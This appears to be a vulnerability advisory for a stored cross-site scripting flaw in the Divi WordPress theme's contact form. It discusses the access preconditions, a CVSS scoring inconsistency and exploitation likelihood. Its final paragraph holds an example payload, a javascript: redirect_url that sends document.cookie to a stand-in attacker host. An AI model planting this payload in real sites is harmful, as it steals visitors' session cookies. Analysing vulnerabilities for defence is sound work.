Divi CVE-2026-3850

Exploitation requires the attacker to hold at minimum Contributor-level access to the target WordPress installation - this role must be explicitly granted by a site administrator and is not available to anonymous visitors or Subscriber-role accounts. The attacker must also be able to create or edit a page or post that embeds the et_pb_contact_form shortcode with a redirect_url parameter, which is a standard Divi page-builder element. Beyond the attacker-side requirement, victim interaction is necessary: a site visitor must actively submit the contact form containing the poisoned shortcode for the javascript: URI to be evaluated. Sites where no users hold Contributor role or above are not exploitable. Sites where no pages include et_pb_contact_form shortcodes, or where contact forms are not publicly accessible, are also unexploitable. The vulnerability is version-bounded to Divi 4.27.6 and earlier.

The CVSS 6.4 score appropriately reflects the Contributor access requirement (PR:L), which narrows the attacker pool to registered WordPress users granted that role or higher - not arbitrary internet actors. The scope-change metric (S:C) is correctly applied because the payload executes in victims' browsers rather than the attacker's context. However, the provided vector uses UI:N, which is inconsistent with the attack mechanics: a victim must actively submit the contact form containing the poisoned shortcode for the payload to fire, making UI:R the more precise metric and reducing the realistic base score to approximately 5.4. No EPSS data was supplied, and the vulnerability is absent from CISA KEV with no public exploit code identified - exploitation probability at time of analysis is inferred to be low. Despite the elevated access requirement, Divi's millions of active installations create substantial aggregate exposure; sites that permit untrusted or semi-trusted users to edit pages should prioritize patching. The CVSS conflict between UI:N (provided) and the form-submission trigger (described) should be verified with the vendor before treating the 6.4 score as authoritative.

An attacker who has obtained or registered a Contributor-level account on a target WordPress site running Divi through 4.27.6 edits a page to include an et_pb_contact_form shortcode with redirect_url set to javascript:fetch('https://attacker.example/steal?c='+document.cookie). When any site visitor submits the contact form, the stored payload executes silently in their browser, exfiltrating session cookies to the attacker's server. No public exploit code has been identified, but the technique requires only basic web knowledge and a valid Contributor account.